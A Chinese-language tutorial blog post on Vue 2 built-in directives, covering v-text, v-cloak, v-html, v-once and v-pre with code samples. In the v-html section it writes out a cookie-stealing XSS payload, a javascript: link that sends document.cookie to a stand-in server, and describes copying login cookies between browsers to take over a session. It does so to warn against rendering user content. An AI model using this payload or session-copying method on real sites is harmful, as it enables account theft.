Vue2.0 Vue内置指令

2023-11-27 21:05:04

v-text指令

# v-text

功能是向其指定空间所在的标签插入文本

Vue.config.productionTip = false

const vm = new Vue({
    el: '#root',
    data(){
        return{
            name: 'bilibili'
        }
    }
})

<div>{{name}}</div> <!--第一种插值语法-->
<div v-text="name"></div>   <!--第二种v-text-->

更多的时候我们还是用插值语法的多,因为插值语法更灵活

<div>你好,{{name}}</div> <!--第一种插值语法-->
<div v-text="name">你好,</div>   <!--第二种v-text-->

区别:
也就是说v-text会拿到你这个name替换掉整个元素中的内容
不会解析标签结构str:'<h3>你好呀</h3>'

总结

v-text指令:
1.作用:向其所在的节点中渲染文本内容
2.与插值语法的区别:v-text会替换掉节点中的内容,{{xxx}}则不会

v-cloak指令

分析一个问题:观察这个:

<head>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>

这是一个外部的引入了一个外部的js
如果有一天因种种原因这个外部的js,足足等了5S才加载回来，那么对真个页面的渲染有什么样的影响?
下面的渲染和js都得等5s之后执行

如果耽误了5s,则渲染的这个<div>区域是不可以被渲染到页面上的,js也是不执行的

<body>
<div id="">...</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</body>

耽误了5s
但是这个上面<div>..</div>是一个正常的一段结构，<div>..</div>结构直接渲染到页面上去，然后再<script src="../vue.js"></script>阻塞5s什么时候外部的js请求回来了，然后你写的js代码才有机会去执行

如果我就想放在<body></body>还不想出现先渲染的问题

要么bilibili不展示，展示的时候就是bilibili(解析完了)

Vue给我提供了一个指令叫v-cloak,利用v-cloak和css解决这个问题

<div id="root">
    <h2 v-cloak>{{name}}</h2>
</div>

这个v-cloak会在vue实例接管容器的一瞬间，就把v-cloak删掉了

写一个属性选择器:

[v-cloak]{
    
}

选中所有标签中有v-cloak属性的元素
让它们:

[v-cloak]{
    display:none;
}

v-cloak主要解决一个:当你网速过慢的时候，它可以让这种未经解析的模板跑到页面上去

总结

v-cloak指令(没有值):
1.本质是一个特殊属性,Vue实例创建完毕并且接管容器后,会删掉v-cloak属性
2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

v-html指令

```html

你好,{{name}}

```js
Vue.config.productionTip = false

const vm = new Vue({
    el: '#root',
    data(){
        return{
            name: 'bilibili',
            str: '<h3>你好呀!</h3>'
        }
    }
})

与之前的v-text对比，就能发现特点了:<h3>被解析了

v-text和v-html的区别:v-text不支持解析;v-html支持解析

安全性问题

在Chrome浏览器登录某个网站，这个网站传给你一个cookie的值,如果Firefox来问Chrome要Cookie是不行的 不允许跨浏览器去读

来举例Cookie是真重要

登录的后怎么看Cookie:

鼠标右键点击检查  -->  找到Application(应用或应用程序)  -->找到`Cookies`  -->  按网站进行分类  -->  Name(key) Value

我们怎去测试一下?

打开火狐浏览器

右键检查 --> 存储  --> cookie

怎么验证
在登录的Chrom浏览器的cookie一条一条往firefox添加，你不用登录刷新页面就是你的账号信息
为方便用的是Cookie Editor
Cookie很重要不能丢，里面保存了你的个人信息

由于这个网址也没有做登录功能

没有，为了模拟自己写一点

Name | Value |

a | 1 |

就算网络刷新,Cookie的值也不会掉
注:用服务器形式登录添加
能不能通过js代码把这些cookie都握在手里?

document.cookie

就拿到了所有的cookie

接下来的事就有点严重:

拿了一堆带有结构的html字符串，直接就把它变成一个可以解析的标签去用，那就危险了
存在这么一种情况

Vue.config.productionTip = false

const vm = new Vue({
    el: '#root',
    data(){
        return{
            name: 'bilibili',
            str: '<h3>你好呀!</h3>',
            str2: '<a href=javascript:alert(1)>兄弟我找到你想要的资源了,快来!</a>'
        }
    }
})

坏人就开始干坏事了:

Vue.config.productionTip = false

const vm = new Vue({
    el: '#root',
    data(){
        return{
            name: 'bilibili',
            str: '<h3>你好呀!</h3>',
            str2: '<a href=javascript:location.href="https://baidu.com">兄弟我找到你想要的资源了,快来!</a>'
        }
    }
})

location.href=也是跳转,这里拿百度举例。
再在后面写一点点就真能干坏事

Vue.config.productionTip = false

const vm = new Vue({
    el: '#root',
    data(){
        return{
            name: 'bilibili',
            str: '<h3>你好呀!</h3>',
            str2: '<a href=javascript:location.href="https://baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
        }
    }
})

document.cookie : 当前你所处的网站全部的cookie并且把所有的cookie以参数的形式传给坏人的服务器(打比方`https://baidu.com?`)
location.href : 跳走

https://www.baidu.com/?a=1;%20b=2

中的a=1;%20b=2是不是之前网站存储的cookie值

之前的

document.cookie

在设计的时候也考虑到的这样的问题,document.cookie这样一拿就全拿到了，是不是有点危险,它有些校验在里面，怎么弄
举例登录https://bilibili.com
直接在控制台输入document.cookie

> document.cookie
< "_uuid=; buvid3=; b_nut=; fingerprint=; bili_jct=; DedeUserID__ckMd5=; b_ut=; blackside_state=; rpdid=; LIVE_BUVID=; CURRENT_QUALITY=; CURRENT_BLACKGAP=; CURRENT_FNVAL=; bp_video_offset_13805897=; buvid_fp=; b_lsid=; PVID=; innersign="

他有的不止这点
观察Cookie后面的HttpOnly:如果你的Cookie被这一条给限制了，那么你这一条数据只有http协议可以去读取可以去携带,任何的人都不允许去携带读取了，包括你用js代码

是你把一段包含结构的字符串直接解析成标签在页面里面用它本身就是一个危险的行为

总结

v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xxx}}则不会
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!

v-once指令

我想让Vue帮我保存一个数值名字叫做n,随后把n呈现在页面上

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>v-once指令</title>
    <link rel="stylesheet" href="indexCss.css">
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
    <div id="root">
        <h2 v-cloak>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script src="indexJS.js"></script>
</html>

Vue.config.productionTip = false

const vm = new Vue({
    el: '#root',
    data(){
        return{
            n: 1
        }
    }
})

再写一个初始化的n值

<h2 v-cloak>初始化的n值是:{{n}}</h2>

但是这个n还是一致在变化
可以这么来写动态的绑定:

<h2 v-once v-cloak>初始化的n值是:{{n}}</h2>

总结

v-once指令:
1.v-once所在的节点在初次动态渲染后,就视为静态内容了。
2.以后数据改变不会引起v-once所在的结构的更新, 可以用于优化性能

v-pre指令

<h2>bilibili yyds</h2>
<h2 v-cloak>n的值:{{n}}</h2>

这样写不太完美
完美的写是:

<h2 v-pre>bilibili yyds</h2>
<h2 v-cloak>n的值:{{n}}</h2>

看不出来你可以这样:

<h2 v-pre>bilibili yyds</h2>
<h2 v-pre v-cloak>n的值:{{n}}</h2>

发现你把没有解析的模板放上去了

总结

v-pre指令:
1.跳过其所在节点的编译过程
2.可利用它跳过: 没有使用指令语法、没有使用插值语法的节点,会加快编译

码农公寓